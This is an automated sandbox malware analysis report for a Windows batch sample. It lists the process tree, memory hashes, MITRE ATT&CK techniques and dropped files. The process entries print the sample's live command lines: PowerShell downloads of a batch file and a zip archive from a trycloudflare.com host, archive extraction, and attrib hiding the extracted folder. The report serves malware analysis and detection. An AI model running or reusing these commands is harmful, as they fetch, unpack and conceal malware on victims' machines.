Start time:	07:44:27
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe time.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:44:27
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe kam.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:44:27
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe momentomo.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:44:28
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:44:28
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff6f87b0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:44:28
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:44:28
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1996,i,2645576372623155973,14039107188322789898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:44:37
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:44:50
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\FTSP.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:44:52
Start date:	26/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h "C:\Users\user\Downloads\Print"
Imagebase:	0x7ff7f8f30000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD9B952C55 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1800271784.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98a5fad77fc27ec1d0520ba1493dfc0e484d3afc37d95d016bbf1fd455bc86b1
Instruction ID: 87d64d0310f55c13bcb843b5471869c07fa1792f540f3e21417f80e23f0bc096
Opcode Fuzzy Hash: 98a5fad77fc27ec1d0520ba1493dfc0e484d3afc37d95d016bbf1fd455bc86b1
Instruction Fuzzy Hash: E8D16931A1FA8E1FE7A697E888655B97BE1EF15310B0901FED84DC70E3DA58A805C351

Function 00007FFD9B883605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1799917327.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 1e27c10d0d88693cd9decf8691b8c9937d2bf07792eae25339ca587052c1cd03
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: D401A77020CB0C4FD748EF0CE451AA9B3E0FB89320F10056DE58AC36A1D632E881CB45

Analysis Process: powershell.exePID: 8080, Parent PID: 1184COMMON

Executed Functions

Function 00007FFD9BB82C55 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1954690761.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2402797765fa35a33fa444a3b48f9058f2d3d6e2dd102af1ae30c10a08f55415
Instruction ID: 973d129dd871c28eea3e495e0940f5ac444526a754f6b94925f9b5c23bb22408
Opcode Fuzzy Hash: 2402797765fa35a33fa444a3b48f9058f2d3d6e2dd102af1ae30c10a08f55415
Instruction Fuzzy Hash: 68D13661A0FA8E0FE7B597A888655B97BE1FF16318F0901FED44DC71E3DA28A905C341

Function 00007FFD9BAB35F5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1954046620.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85eb2f6f6b83393c049ad81f0f4893cc900b379d47571316f49a867717012d8
Instruction ID: dd0e91c4d5bd454b76bc38e292edf692ca5c8f36e142b76d71f41d34230bdd43
Opcode Fuzzy Hash: e85eb2f6f6b83393c049ad81f0f4893cc900b379d47571316f49a867717012d8
Instruction Fuzzy Hash: 3001A77020CB0C4FD748EF0CE051AA6B7E0FF85320F10056EE58AC76A1D632E881CB45

Analysis Process: powershell.exePID: 8608, Parent PID: 1184COMMON

Executed Functions

Function 00007FFD9BB82C55 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2074619342.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bb80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a3252bc72c03195bed6840f30c2a5011ced4e4082b8757a65dd4652f515527
Instruction ID: c4298575096c234ef316e9a0d7cddda6abf386e2a60cf9472b4f9dd7751c93cf
Opcode Fuzzy Hash: 16a3252bc72c03195bed6840f30c2a5011ced4e4082b8757a65dd4652f515527
Instruction Fuzzy Hash: B9D12622A0FA8E0FE7B596A888655B97BE1FF56314F0901FED44DC71E3DA28A905C341

Function 00007FFD9BAB37C9 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2073859808.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280f8cd04ef0034120c05f9ccb89b19e86eb01ac201142741623d186ff8aed2b
Instruction ID: f9df51c61718dff0276ace7a2a84b8735ad246febd00ebf46b15e734d7aeed3d
Opcode Fuzzy Hash: 280f8cd04ef0034120c05f9ccb89b19e86eb01ac201142741623d186ff8aed2b
Instruction Fuzzy Hash: 8D01F77270CA1D4FEB5CDA5CE8919B033D1EBA8320F10007EE58AC366BC916F8428745

Function 00007FFD9BAB35F5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2073859808.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85eb2f6f6b83393c049ad81f0f4893cc900b379d47571316f49a867717012d8
Instruction ID: dd0e91c4d5bd454b76bc38e292edf692ca5c8f36e142b76d71f41d34230bdd43
Opcode Fuzzy Hash: e85eb2f6f6b83393c049ad81f0f4893cc900b379d47571316f49a867717012d8
Instruction Fuzzy Hash: 3001A77020CB0C4FD748EF0CE051AA6B7E0FF85320F10056EE58AC76A1D632E881CB45

Function 00007FFD9BAB3838 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2073859808.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: decc56422654087dfc9b1517cfdbb9aa53e67d0549232f70c09bd425f977d40f
Instruction ID: ea29e842aea4aa8bcbd1c139d6c36ff5c1711a50ee1f27cae397cf8daf443e50
Opcode Fuzzy Hash: decc56422654087dfc9b1517cfdbb9aa53e67d0549232f70c09bd425f977d40f
Instruction Fuzzy Hash: 2DF0373275C6044FDB5CEA1CF8529B573D1EB99325B10016EF48BC2696D917E842CA85

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report J1IrCccVO6.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00te055x.mjp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kiuv505.uzq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tyhj4zz.55l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xublcva.pqt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a01eh1pd.w5q.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lrp0hymj.tu2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ma5gmo04.vis.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmlqc5da.sfp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pt1guala.hi3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qovxpkys.t0w.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r2qnqb10.a5h.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1u14iag.5yj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrfxbe0r.olr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yiprkict.qwp.ps1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

Windows Analysis Report
J1IrCccVO6.bat